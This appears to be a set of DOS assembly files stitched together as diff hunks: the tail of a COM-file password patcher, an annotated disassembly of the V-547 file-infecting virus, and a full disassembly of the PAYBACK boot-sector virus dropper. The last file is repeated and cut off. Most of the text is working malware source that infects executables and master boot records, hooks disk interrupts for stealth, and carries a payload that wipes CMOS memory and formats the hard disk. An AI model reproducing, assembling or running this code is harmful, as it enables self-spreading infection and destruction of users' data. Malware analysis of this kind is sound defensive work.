mov dx,offset JumpBytes ;Write in jump to decryptor
int 21
call SetTime ;Restore file date/time
mov ah,3e
int 21 ;close file
ret
Terminate:
mov ah,09
mov dx,offset BadFile
int 21
ret
BadFile db 'Error Opening File.',07,0dh,0a,24
JumpBytes db 0e9,0,0,'á'
EncryptGP: ;Encrypt GoodPass routine in pw_com
xor ax,ax ;with value from password itself...
mov cx,0c
mov si,offset Password
GetValue:
lodsb
add ah,al
ror ah,1 ;Get value to use for encrypt...
loop GetValue
mov si,offset Goodpass
mov cx,EndGoodPass-GoodPass
Decrypt_Restore: ;This needs improvement....
mov al,[si]
xor al,ah
mov [si],al
inc si
loop Decrypt_Restore
ret
BackupFile: ;Create copy of file...
mov si,offset Filename
mov cx,80
Find_Eofn:
lodsb
cmp al,'.' ;Find file extension
je FoundDot
or al,al
jz FoundZero
loop Find_Eofn
jmp Terminate
FoundZero:
mov byte ptr [si-1],'.'
inc si
FoundDot:
mov word ptr [si],'LO'
mov byte ptr [si+2],'D' ;Change extension to 'OLD'
mov byte ptr [si+3],0
mov dx,offset Filename
mov word ptr [SourceF],bx
mov ah,3c
xor cx,cx
int 21
jnc GCreate
jmp Terminate
GCreate:
mov word ptr cs:[Destf],ax
BackLoop:
mov ah,3f
mov bx,word ptr cs:[Sourcef]
mov cx,400
mov dx,offset FileBuffer ;Copy file to backup
int 21
mov cx,ax
mov ah,40
mov bx,word ptr cs:[Destf]
mov dx,offset Filebuffer
int 21
cmp ax,400
je BackLoop
DoneBack:
mov bx,word ptr cs:[Destf]
call SetTime ;Save original date/time stamp in
;backup
mov ah,3e
mov bx,word ptr cs:[Destf]
int 21 ;Close file
mov ax,4200
xor cx,cx
xor dx,dx
mov bx,word ptr cs:[Sourcef] ;Go back to the beginning of the
int 21 ;source file
ret
SourceF dw 0
DestF dw 0
;This is code from PW_COM compiled converted to data bytes..
;If you modify PW_COM, you must compile it and convert it, then
;place it here. Note that the byte 0ffh marks the beginning and
;end of Goodpass for simplicity....
begin_password:
db 0e8h, 02dh, 01h, 02eh, 0c6h, 086h, 09h, 01h, 0eah, 0ebh
db 06h, 00h, 0ebh, 011h, 090h, 0adh, 0deh, 0bbh, 021h, 01h
db 03h, 0ddh, 053h, 02eh, 0c6h, 086h, 011h, 01h, 0c3h, 0ebh
db 0edh, 0ebh, 0f0h, 0fah, 050h, 01eh, 033h, 0c0h, 08eh, 0d8h
db 08dh, 086h, 01ch, 02h, 087h, 06h, 00h, 00h, 050h, 08ch
db 0c8h, 087h, 06h, 02h, 00h, 050h, 01eh, 0eh, 01fh, 02eh
db 0c7h, 086h, 044h, 01h, 090h, 090h, 033h, 0c9h, 0f7h, 0f1h
db 01fh, 058h, 087h, 06h, 02h, 00h, 058h, 087h, 06h, 00h
db 00h, 01fh, 058h, 0fbh, 0e8h, 0aah, 00h, 02eh, 080h, 086h
db 05eh, 01h, 010h, 0ebh, 03h, 090h, 0eah, 09ah, 0e8h, 081h
db 00h, 0e8h, 069h, 00h, 072h, 038h, 033h, 0c0h, 0b9h, 0ch
db 00h, 08dh, 0b6h, 04eh, 02h, 0ach, 02h, 0e0h, 0d0h, 0cch
db 0e2h, 0f9h, 08dh, 0b6h, 090h, 01h, 0b9h, 011h, 00h, 08ah
db 04h, 032h, 0c4h, 088h, 04h, 046h, 0e2h, 0f7h, 0e8h, 039h
db 00h, 0ebh, 01h, 0ffh
GoodPass:
db 0bfh, 00h, 01h, 057h, 08dh, 0b6h
db 03eh, 02h, 0a5h, 0a5h, 033h, 0c0h, 08bh, 0f0h, 08bh, 0f8h
db 0c3h
EndGoodPass:
db 0ffh, 0b4h, 09h, 08dh, 096h, 0afh, 01h, 0cdh, 021h
db 0b8h, 01h, 04ch, 0cdh, 021h, 0ah, 0dh, 050h, 061h, 073h
db 073h, 077h, 06fh, 072h, 064h, 020h, 049h, 06eh, 063h, 06fh
db 072h, 072h, 065h, 063h, 074h, 02eh, 07h, 024h, 090h, 0ebh
db 05h, 090h, 0eah, 0f8h, 0c3h, 09ah, 0fch, 0ebh, 0fah, 08dh
db 0b6h, 04eh, 02h, 08dh, 0beh, 042h, 02h, 0b9h, 0ch, 00h
db 0f3h, 0a6h, 0e3h, 03h, 0f9h, 0c3h, 0e9h, 0f8h, 0c3h, 00h
db 08bh, 09eh, 03ah, 02h, 08bh, 096h, 03ch, 02h, 08dh, 0b6h
db 04eh, 02h, 08bh, 0feh, 0b9h, 06h, 00h, 0adh, 033h, 0c3h
db 03h, 0dah, 0abh, 0e2h, 0f8h, 0c3h, 0eah, 0b9h, 0ch, 00h
db 08dh, 0beh, 04eh, 02h, 051h, 02bh, 0c0h, 0cdh, 016h, 03ch
db 0dh, 074h, 05h, 0aah, 059h, 0e2h, 0f3h, 0c3h, 059h, 032h
db 0c0h, 0f2h, 0aah, 0c3h, 0b4h, 09h, 08dh, 096h, 025h, 02h
db 0cdh, 021h, 0cfh, 050h, 061h, 073h, 073h, 077h, 06fh, 072h
db 064h, 02dh, 03eh, 024h, 05dh, 0ebh, 01h, 0eah, 055h, 081h
db 0edh, 03h, 01h, 0c3h
;------------------------------------------------------------------------
Key1 dw 0
Key2 dw 0
;------------------------------------------------------------------------
Storage_Bytes db 90,90,0cdh,20
;------------------------------------------------------------------------
Password db 'Greetings to'
Entered_Pass db 'everyone! '
db 0,0,0,0,0,0,0
end_password:
dw 0
dw 0
Filename_data dw 0
Filename db 80 dup(0) ;These are stored as zeros to
FileBuffer db 400 dup(0) ;keep from overwriting ultimute...
end start
+341
View File
@@ -0,0 +1,341 @@
;----------------------------------------------
; Virus V-547
;
; Dissasembled: Andrzej Kadlof April 1991
;
; (C) Polish Section of Virus Information Bank
;----------------------------------------------
0100 E9FD00 JMP 0200 ; jump to virus
; ....
; victim code
;====================
; virus entry point
0200 EB03 JMP 0205
0202 49 42 4D ; IBM
; set DS to wirus working area
0205 0E PUSH CS
0206 58 POP AX
0207 052000 ADD AX,0020 ; [0208] is modified for each victim
020A 8ED8 MOV DS,AX
; restore oryginal first 3 bytes of victim
020C 8B162002 MOV DX,[0220]
0210 2E89160001 MOV CS:[0100],DX
0215 8A362202 MOV DH,[0222]
0219 2E88360201 MOV CS:[0102],DH
021E B80001 MOV AX,0100 ; application start address
0221 0E PUSH CS ; store on stack
0222 50 PUSH AX
0223 33FF XOR DI,DI
0225 2E8E062C00 MOV ES,CS:[002C] ; segment of environment
022A 51 PUSH CX
022B FC CLD
022C 32C0 XOR AL,AL
022E B90500 MOV CX,0005 ; length of string
0231 BE1B02 MOV SI,021B ; PATH=
0234 F3A6 REPZ CMPSB
0236 740B JZ 0243
0238 B9E803 MOV CX,03E8
023B F2AE REPNZ SCASB
023D 26803D00 CMP BYTE PTR ES:[DI],00
0241 75EB JNZ 022E
0243 8BF7 MOV SI,DI
0245 59 POP CX
0246 51 PUSH CX
0247 B42C MOV AH,2C ; get time
0249 CD21 INT 21
024B F6C601 TEST DH,01 ; seconds
024E 7503 JNZ 0253
0250 E9B401 JMP 0407
0253 88365702 MOV [0257],DH
0257 06 PUSH ES
0258 B42F MOV AH,2F ; Get DTA
025A CD21 INT 21
025C 891E2802 MOV [0228],BX
0260 8C062A02 MOV [022A],ES
0264 07 POP ES
0265 BA2C02 MOV DX,022C
0268 B41A MOV AH,1A ; set DTA
026A CD21 INT 21
026C B44E MOV AH,4E ; find first
026E BA2302 MOV DX,0223
0271 B90800 MOV CX,0008 ; volume label
0274 CD21 INT 21
0276 7219 JB 0291
0278 813E44022110 CMP WORD PTR [0244],1021 ; date: 1988 January 1
027E 7511 JNZ 0291
0280 81264202E0FF AND WORD PTR [0242],FFE0 ; clear seconds
0286 813E42022008 CMP WORD PTR [0242],0820 ; time: 01:01:00
028C 7503 JNZ 0291
028E E96A01 JMP 03FB ; exit to application
; copy founded string to local buffer
0291 BF5802 MOV DI,0258 ; set buffer address
0294 26803C3B CMP BYTE PTR ES:[SI],3B ; ';' end of string marker
0298 740F JZ 02A9
029A 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment
029E 7409 JZ 02A9
02A0 268A04 MOV AL,ES:[SI]
02A3 8805 MOV [DI],AL
02A5 47 INC DI
02A6 46 INC SI
02A7 EBEB JMP 0294 ; copy next character
02A9 81FF5802 CMP DI,0258 ; path name non empty?
02AD 7509 JNZ 02B8 ; jump if no empty
02AF 26803C00 CMP BYTE PTR ES:[SI],00 ; end of environment block?
02B3 7403 JZ 02B8 ; jump if yes
02B5 E93801 JMP 03F0 ; no path name, exit
02B8 81FF5802 CMP DI,0258 ; no path name?
02BC 7412 JZ 02D0 ; jump if yes
02BE 26807CFF5C CMP BYTE PTR ES:[SI-01],5C ; '\'
02C3 740B JZ 02D0
02C5 26807CFF2F CMP BYTE PTR ES:[SI-01],2F ; '/'
02CA 7404 JZ 02D0
; add directory sign
02CC C6055C MOV BYTE PTR [DI],5C ; '\'
; add mask
02CF 47 INC DI
02D0 C7052A2E MOV WORD PTR [DI],2E2A ; '*.'
02D4 C74502636F MOV WORD PTR [DI+02],6F63 ; 'co'
02D9 C745046D00 MOV WORD PTR [DI+04],006D ; 'm', 0
02DE B44E MOV AH,4E ; find next
02E0 BA5802 MOV DX,0258 ; path name + mask
02E3 B90300 MOV CX,0003 ; hiden and read only
02E6 CD21 INT 21
02E8 7303 JAE 02ED ; founded
02EA E90301 JMP 03F0 ; search for next path
02ED A14202 MOV AX,[0242] ; file time
02F0 241F AND AL,1F ; extract seconds
02F2 3C1F CMP AL,1F ; 62 seconds?
02F4 7463 JZ 0359 ; yes, infected
02F6 833E480200 CMP WORD PTR [0248],+00 ; high word of file length
02FB 755C JNZ 0359 ; file too long
02FD 813E460200FA CMP WORD PTR [0246],FA00 ; maximum file length
0303 7754 JA 0359
0305 833E46020A CMP WORD PTR [0246],+0A ; minimum file length
030A 724D JB 0359 ; file too short
; copy file name to local buffer
030C BB4A02 MOV BX,024A ; file name
030F B90D00 MOV CX,000D ; length of file name in DTA
0312 57 PUSH DI
0313 8A07 MOV AL,[BX]
0315 8805 MOV [DI],AL
0317 43 INC BX
0318 47 INC DI
0319 E2F8 LOOP 0313
; clear all attributes (CX = 0)
031B C60500 MOV BYTE PTR [DI],00 ; end of ASCIIZ string
031E 5F POP DI
031F B80143 MOV AX,4301 ; set file attribute
0322 CD21 INT 21
0324 B8023D MOV AX,3D02 ; open file for read/write
0327 CD21 INT 21
0329 722E JB 0359 ; find next
032B 8BD8 MOV BX,AX ; handle
032D A14202 MOV AX,[0242] ; file time
0330 241F AND AL,1F ; extract seconds
0332 3C1E CMP AL,1E ; 62?
0334 750A JNZ 0340
; founded file is infected, with probability 1/16 destroy it
0336 802657020F AND BYTE PTR [0257],0F ; "random" number
033B 740A JZ 0347 ; destroy file
033D E98400 JMP 03C4 ; restore file data and exit
; with probability 1/8 destroy file
0340 8026570207 AND BYTE PTR [0257],07
0345 7515 JNZ 035C ; infect file
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; classic Vienna 648 destruction (set firt instruction to JMP F000:FFF0)
0347 B440 MOV AH,40 ; write file
0349 B90500 MOV CX,0005
034C BA1302 MOV DX,0213
034F CD21 INT 21
0351 810E42021F00 OR WORD PTR [0242],001F
0357 EB6B JMP 03C4 ; exit
0359 E98B00 JMP 03E7 ; find next
; infect file
035C B43F MOV AH,3F ; read file
035E B90300 MOV CX,0003 ; 3 bytes
0361 BA2002 MOV DX,0220 ; to local buffer
0364 CD21 INT 21
0366 725C JB 03C4 ; reset file data
0368 3D0300 CMP AX,0003 ; check for error
036B 7557 JNZ 03C4 ; reset file data
036D B80042 MOV AX,4200 ; move file ptr to BOF
0370 B90000 MOV CX,0000
0373 BA0000 MOV DX,0000
0376 CD21 INT 21
0378 724A JB 03C4 ; reset file data
037A A14602 MOV AX,[0246] ; file size
037D 050F00 ADD AX,000F ; addjust to paragraph border
0380 25F0FF AND AX,FFF0
0383 8BE8 MOV BP,AX ; store intermidiate length
0385 2D0300 SUB AX,0003 ; length of JMP XXXX
0388 A31902 MOV [0219],AX ; form JMP XXXX in local buffer
038B B90300 MOV CX,0003 ; number of bytes
038E BA1802 MOV DX,0218 ; address of JMP virus_code
0391 B440 MOV AH,40 ; write file
0393 CD21 INT 21
0395 722D JB 03C4 ; reset file data
0397 B80242 MOV AX,4202 ; move file ptr rel EOF
039A 8BD5 MOV DX,BP ; addjuseted file length
039C 2B164602 SUB DX,[0246] ; real file length
03A0 B90000 MOV CX,0000 ; high word of file end
03A3 CD21 INT 21
03A5 721D JB 03C4 ; restore file data
03A7 81C50001 ADD BP,0100 ; PSP length
03AB B104 MOV CL,04 ; convert to paragraphs
03AD D3ED SHR BP,CL
03AF 892E0800 MOV [0008],BP ; automodyfication of virus code
03B3 B92302 MOV CX,0223 ; virus length
03B6 90 NOP
03B7 BA0000 MOV DX,0000 ; buffer, start of virus code
03BA B440 MOV AH,40 ; write file
03BC CD21 INT 21
03BE 810E42021E00 OR WORD PTR [0242],001E ; set 62 seconds
; restore file time/date stamp
03C4 8B164402 MOV DX,[0244] ; restore file date stamp
03C8 8B0E4202 MOV CX,[0242] ; restore file time stamp
03CC B80157 MOV AX,5701 ; set file time/date stamp
03CF CD21 INT 21
03D1 B43E MOV AH,3E ; close file
03D3 CD21 INT 21
; restore file attributes
03D5 B80143 MOV AX,4301 ; set file attributes
03D8 33C9 XOR CX,CX
03DA 8A0E4102 MOV CL,[0241] ; restore file attributes
03DE BA5802 MOV DX,0258
03E1 03D6 ADD DX,SI
03E3 CD21 INT 21
03E5 EB14 JMP 03FB ; exit
; find next candidate for victim
03E7 B44F MOV AH,4F ; find next
03E9 CD21 INT 21
03EB 7203 JB 03F0 ; search for next path
03ED E9FDFE JMP 02ED ; check file
03F0 46 INC SI
03F1 26807CFF00 CMP BYTE PTR ES:[SI-01],00 ; end of environment block?
03F6 7403 JZ 03FB ; yes, exit
03F8 E996FE JMP 0291 ; search for next path name
; restore DTA
03FB B41A MOV AH,1A ; set DTA
03FD 8B162802 MOV DX,[0228]
0401 8E1E2A02 MOV DS,[022A]
0405 CD21 INT 21
; exit to application
0407 33C0 XOR AX,AX
0409 33DB XOR BX,BX
040B 33D2 XOR DX,DX
040D 33F6 XOR SI,SI
040F 33FF XOR DI,DI
0411 59 POP CX
0412 CB RETF
; working area
0413 EAF0FF00F0 ; JMP F000:FFF0 instruction for destruction
0418 E9 FD 00 ; form new first 3 bytes (JMP 0518)
041B 50 41 54 48 3D ; PATH=
0420 db ? dup (3) ; first 3 bytes of victim
; end of code copied to file
;==============================
; working area
0423 db ? dup (5) ; mask of file name for FindFirst
0428 dd ? ; address of old DTA
042C db ? dup (2C) ; local DTA
; 0 db ? dup (15h) ; reserwed [022C]
; 15h db ? ; atributte [0241]
; 16h dw ? ; time [0242]
; 18h dw ? ; date [0244]
; 1Ah dd ? ; file size [0246]
; 1Eh db ? dup (0Dh) ; file name [024A] ... [0256]
0457 db ? ; system timer seconds
0458 db ? ; buffer for path name from environment
@@ -0,0 +1,476 @@
;*****************************************************************************
;* *
;* FILE: PAYBACK.A86 *
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
;* *
;*****************************************************************************
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
ORG 100h
;*****************************************************************************
;Decryption routine to decrypt body of virus. Not used in this file as virus
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
;tion key possibly chosen for its randomized bit sequence (just a guess).
;DECRYPT:
; MOV CX,02A8 ;set length of encrypted code
; MOV AX,0391D ;load decryption key (bit sequence
; ;"0011100100011101")
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
;DECLP1: DEC CX ;decrement byte count
; JS DROPPER ;if done, jump to dropper start
; XOR [SI],AL ;decrypt a byte
; XCHG AH,AL ;change key
; ROR AX,CL ;really mix it up
; DEC SI ;point to next byte to decrypt
; JMP DECLP1 ;do it all again
;****************************************************************************
;Dropper routine to place virus in MBR of fixed disk "C".
DROPPER:
MOV AX,03513 ;get INT13 vector.
INT 021
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
CALL STEAL_INT01 ;jump to steal INT01 routine
MOV AX,0201 ;select read-one-sector function
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
MOV CX,0001 ;cylinder 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL SYS_INT13 ;read boot sector of drive "C"
JB RUN_CARRIER ;if flag = failure, execute carrier
CMP WORD PTR [BX+010],012CD ;check for infection tag
JE RUN_CARRIER ;if infected, execute carrier program
XOR AX,AX
MOV DS,AX ;point to data segment 0000h
MOV AX,[046C] ;load lower two bytes of master clock
PUSH CS
POP DS ;restore data segment
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
JZ RUN_CARRIER ;if AL <> 01, do not infect system
SUB BX,0200 ;set disk I/O buffer to point to virus
MOV AX,0302 ;select write-two-sectors
CALL SYS_INT13 ;write virus to MBR and original
;boot sector to sector 2.
;****************************************************************************
;Routine to restore original jump address to start of trojan file and to
;execute trojan carrier program. We don't use it here since the virus is not
;attached to anything (other than its own dropper). Instead, the replacement
;RUN_CARRIER routine below it is executed to terminate the dropper.
;RUN_CARRIER:
; MOV DI,0100 ;point to carrier prog. start
; MOV WORD PTR [DI],030B4 ;restore original jump value
; MOV BYTE PTR [DI+02],CD ;ditto
; XOR AX,AX
; PUSH DI ;zero DI
; RET ;exit and execute carrier program
RUN_CARRIER:
MOV AX,04C00 ;select terminate-with-return-code
INT 021 ;terminate PAYBACK.COM dropper
;*****************************************************************************
;Routine to steal INT01 for tunnelling purposes and then restore it to its
;original value. Tunnelling is new to me, so I hope that I got this right.
STEAL_INT01:
MOV AX,03501 ;get INT01 (single-step) vector
INT 021
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
MOV AH,025 ;steal INT01 vector
INT 021
PUSHF
POP AX ;pop flags into AX
OR AH,01 ;set trap flag
PUSH AX
POPF ;pop AX into flag register (from this
;point on, every instruction execution
;also executes the viral INT01
;handler)
XOR AX,AX ;zero AX
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
;to find BIOS INT13 handler address
PUSHF
POP AX ;pop flags into AX
AND AH,0FE ;zero trap flag
PUSH AX
POPF ;pop AX into flag register
MOV AX,02501 ;set-interrupt-vector function (INT01)
MOV DX,BX ;load DX with orig. INT01 offset
PUSH ES
POP DS ;load DS with orig. INT01 segment
INT 21 ;restore INT01 vector to orig. value
PUSH CS
PUSH CS
POP DS ;set DS and ES to value of
POP ES ;code segment
RET
;*****************************************************************************
;INT01 handler routine to accomplish tunnelling address aquisition for
;original INT13 handler.
FIND_INT13:
PUSH BP
MOV BP,SP ;load BP with the stack offset
PUSH AX
MOV AX,[BP+04] ;load AX with the segment of the
;calling routine
CMP AX,0C800 ;is it in DOS segment?
JNB TUNNEL ;if not, its time to tunnel
EXIT: POP AX ;restore registers
POP BP
IRET ;return from INT01 interrupt
TUNNEL:
CMP AX,0F000 ;calling routine in ROM?
JA EXIT ;if so, no need to tunnel, so exit
CS: ;if not, store orig. INT13 segment
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
MOV AX,[BP+02] ;load AX with original INT13 offset
CS:
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
JMP EXIT ;return to prevent re-execution of
;this INT01 handler
SYS_INT13:
PUSHF ;preserve flags
CS:
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
RET
;*****************************************************************************
;Start of boot sector virus code.
BOOT: CLI ;disable interrupts
XOR AX,AX
MOV DS,AX ;set data segment
MOV SS,AX ;set stack segment
MOV SP,0FFFE ;set stack pointer
STI ;enable interrupts
PUSH DS ;preserve DS
DEC WORD PTR [0413] ;lower top of memory 1K
INT 012 ;get base memory size
MOV CL,0A ;set rotation count
ROR AX,CL ;calculate upper memory segment
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
MOV [07DB7],BX ;store orig. offset within virus
MOV [07DB9],ES ;store orig. segment within virus
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
MOV [004E],AX ;set vector to installed virus seg.
MOV ES,AX ;set ES to installed virus segment
XOR DI,DI ;zero destination offset for move
MOV SI,07C00 ;set source address for virus move
PUSH SI ;set SI for orig. boot sector load
MOV CX,02C8 ;set byte count for move (a count of
;0200h would have been adequate)
CLD ;clear direction flag (fwd)
REPZ
MOVSB ;move virus to upper memory
PUSH ES ;set up stack for virus reentry seg.
MOV AX,003F ;AX = offset for virus reentry point
PUSH AX ;set up stack for virus reentry off.
RETF ;return to self in new location (ES:AX)
NEW_LOCATION:
MOV AX,0201 ;select read-one-sector function
POP BX ;set disk I/O buffer to 7C00h
MOV CX,0002 ;track 0, sector 2 (self modified by
;virus to reflect true MBR location)
MOV DX,0080 ;head 0, fixed disk "C" (once again,
;self-modified by virus)
AND DL,080 ;mask to load original MBR from drive
;"C", even if not boot drive, or drive
;"A" if boot is from floppy
POP ES ;set ES = 0000h
CALL BIOS_INT13 ;load original boot sector to 0:7C00
PUSH CS
POP DS ;set to current upper-mem. seg. value
PUSH CS
POP ES ;ditto
MOV AX,0201 ;select read-one-sector function
MOV BX,0200 ;set I/O buffer location
MOV CX,0001 ;track 0, sector 1
MOV DX,0080 ;head 0, fixed disk "C"
CALL BIOS_INT13 ;load MBR
CMP WORD PTR [0210],012CD ;check for infect tag
JE BOOT_EXIT ;if infected, exit
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
JNE BOOT_EXIT ;if not, then exit
MOV AX,0302 ;select write-two-sectors function
XOR BX,BX ;set buffer offset to include virus
INC CX ;track 0, sector 2 (relocated MBR)
MOV [0044],CX ;store track/sector within viral code
MOV [0047],DX ;store head/drive within viral code
DEC CX ;track 0, sector 1
CALL BIOS_INT13 ;write virus to MBR and original MBR
;to sector 2.
BOOT_EXIT:
CALL CHECK_DATE ;check for activation date
JMP 0000:07C00 ;wrong date, so jump to original MBR
;*****************************************************************************
;INT13h handler routine.
STEALTH:
CMP CX,+01 ;track 0, sector 1?
JNE EXIT2BIOS ;if not, no need for stealth, so exit
OR DH,DH ;head 0?
JNE EXIT2BIOS ;ditto
CMP AH,02 ;read request?
JE ORIG_SECT ;if so, time for stealth...
EXIT2BIOS:
CS:
JMP FAR D[01B7] ;jump to BIOS via stored address
EXIT2CALL:
RETF 0002 ;exit to calling routine
ORIG_SECT:
CALL BIOS_INT13 ;read boot sector
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
ES:
CMP WORD PTR [BX+0010],012CD ;check for infection tag
JNE INFECT_FLOPPY ;if not infected, then infect
MOV AX,0201 ;select read-one-sector function
PUSH CX ;preserve registers values
PUSH DX ;for boot sector
ES:
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
ES:
MOV DH,[BX+0048] ;load head # of original boot record
CALL BIOS_INT13 ;load original boot record
POP DX ;restore registers to values
POP CX ;sent by calling routine
JMP EXIT2CALL ;exit directly back to calling routine
;*****************************************************************************
;Diskette infection routine. Very clever and code efficient (to me, anyway).
INFECT_FLOPPY:
PUSHF ;push flags to hide I/O errors
PUSH AX ;preserve registers
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH ES
PUSH CX ;save a few register values a
PUSH DX ;second time to be used by
PUSH BX ;the virus interrupt handler
TEST DL,080 ;fixed drive I/O?
JNZ EXIT_1 ;if so, then exit handler
ES:
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
JNE EXIT_1 ;if not, exit handler
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
JB EXIT_1 ;if not standard format, exit
CS:
MOV [0044],CX ;store reloc. track/sect. within virus
CS:
MOV [0047],DX ;store reloc. head/drive within virus
POP BX ;restore orig. buffer offset
MOV AX,0301 ;select write-one-sector
PUSH AX
CALL BIOS_INT13 ;relocate boot sector
POP AX ;restore some registers
POP DX
POP CX
JB EXIT_2 ;if I/O flag = failure, exit
XOR BX,BX ;set I/O buffer to virus start
PUSH CS
POP ES ;set ES=CS
CALL BIOS_INT13 ;write virus to boot sector
JMP EXIT_2 ;exit handler
EXIT_1:
POP BX ;restore registers
POP DX
POP CX
EXIT_2:
POP ES ;restore registers
POP DI
POP DX
POP CX
POP BX
POP AX
POPF ;pop flags to hide I/O errors
JMP EXIT2BIOS ;jump to exit to BIOS
CALC_TRACK:
MOV DI,DX ;load DI with head/drive #
ES:
MOV AX,[BX+013] ;load total # sectors on disk from BPB
ES:
MOV CX,[BX+018] ;load # of sectors per track from BPB
OR AX,AX ;test AX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
JCXZ BPB_FAIL ;ditto for CX
XOR DX,DX ;clear DX for remainder storage
DIV CX ;divide AX by CX
OR DX,DX ;test DX for 00h (no remainder)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
ES:
MOV BX,[BX+01A] ;load # of disk sides from BPB
OR BX,BX ;test BX for 00h
JZ BPB_FAIL ;if zero, non-standard format, so exit
DIV BX ;divide AX by BX
OR DX,DX ;test DX for 00h (no remaider)
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
DEC AL ;decr. AL to obtain # of last track
MOV CH,AL ;set track # for boot sect. relocation
DEC BL ;decr. BL to obtain # of last head
MOV DX,DI ;restore head/drive information
MOV DH,BL ;set head # to last head
CLC ;clear carry flag to indicate success
RET
BPB_FAIL:
STC ;set carry flag to indicate failure
RET
BIOS_INT13:
PUSHF ;push flags
CS:
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
RET ;address
;****************************************************************************
;Check date for activation (routine modified to prevent activation).
CHECK_DATE:
MOV AH,04 ;request date function
INT 01A ;request date
CMP DX,02BAD ;check for trigger date
JE ZAP_CMOS ;the route to unethical (and illegal)
RET ;behavior
;****************************************************************************
;Clear contents of CMOS system configuration memory.
ZAP_CMOS:
MOV CX,00FF ;set CMOS count (03Ch would have been
;adequate, according to my reference)
ZCLP1: MOV DX,0070 ;set port #70h
MOV AL,CL ;set configuration address
OUT DX,AL ;select CMOS address
JMP WHY ;don't understand the need for this
WHY: INC DX ;set port #71h
XOR AL,AL ;set data value to zero
OUT DX,AL ;write data value to CMOS
LOOP ZCLP1 ;do it until CMOS count = 0
;*****************************************************************************
;Obtain format data from fixed disk "C" partition table.
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
AND DI,-040 ;mask out ending sector number
MOV CL,06 ;load CL with number of shifts
SHR DI,CL ;shift to obtain ending cylinder #
MOV AL,[03C3] ;ending head # from partition table
XOR AH,AH ;zero AH
XCHG BP,AX ;store ending head # in BP
MOV BX,01F5 ;point to sector format info. table
MOV DX,0080 ;select fixed disk "C"
;*****************************************************************************
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
;this routine is correct, it formats each platter side before incrementing the
;head count to format the next platter. The destructive "advantage" of this,
;I believe, would be that the deletion of code segments from large numbers
;of files would be accomplished very quickly, rendering executable or ZIPed
;files as useless as if they were totally deleted, but in a much shorter time.
TRASH_HD:
XOR CX,CX ;set cylinder # to zero
FORMAT_TRACK:
MOV AX,0501 ;format-track function, interleave 1
CALL BIOS_INT13 ;format track (cylinder)
AND CL,0C0 ;mask for cylinder # bits 6-7
ROL CL,01 ;shift to bits 6-7 of cylinder number
ROL CL,01 ;into bottom two (0-1) bits of CL
XCHG CL,CH ;put bottom two bits in CH to match
;DI bit arrangement
INC CX ;increment track count
CMP CX,DI ;last cylinder (CX bit pattern match
;DI bit pattern)?
JA NEXT_HEAD ;if so, increment head number
XCHG CL,CH ;put CL back to where it started
ROR CL,01 ;shift to obtain
ROR CL,01 ;original value
JMP FORMAT_TRACK ;format next track
NEXT_HEAD:
INC DH ;increment head number
MOV AX,BP ;load AX with last head number
CMP DH,AL ;last head?
JBE TRASH_HD ;if not, do it again
;****************************************************************************
;Display activation message.
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
DMLP1: CLD ;clear direction flag (fwd)
LODSB ;load character of message
OR AL,AL ;check for text end (0)
JZ LOCK_IT_UP ;if end of message, lock up system
MOV AH,0E ;select write-character function
XOR BX,BX ;page 0, color 0
INT 010 ;display character on screen
JMP DMLP1 ;do it all again
LOCK_IT_UP:
CLI ;disable interrupts
HLT ;select 0.0 Mips mode
;*****************************************************************************
;Storage area for BIOS INT13 vector used by virus.
DB ? ;Pad byte (A86 assembly only)
DW ? ;BIOS INT13 offset storage location
DW ? ;BIOS INT13 segment storage location
;*****************************************************************************
;Text strings for activation message.
MESSAGE_TEXT:
DB 0A,0D ;linefeed, carriage ret.
DB "That was for ARCV, mother fucker!"
DB 0A,0A,0D ;linefeed x 2, car. ret.
DB "Payback! (c) 1993"
DB 0A,0D ;linefeed, carriage ret.
;*****************************************************************************
;End-of-boot sector pad bytes and valid boot sector tag bytes.
DB 10 DUP ? ;pad bytes
DB 055,0AA ;valid boot sector tag
;****************************************************************************
;Start of space reserved for disk I/O
MBR_BUFFER:
DB 512 DUP ? ;reserve one sectors worth of space
;****************************************************************************
;Storage location for INT13 vector used by dropper routine.
VECT_INT13:
DD ? ;BIOS INT13 offset/segment storage
MAIN ENDS
@@ -0,0 +1,476 @@
;*****************************************************************************
;* *
;* FILE: PAYBACK.A86 *
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
;* *
;*****************************************************************************
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
ORG 100h
;*****************************************************************************
;Decryption routine to decrypt body of virus. Not used in this file as virus
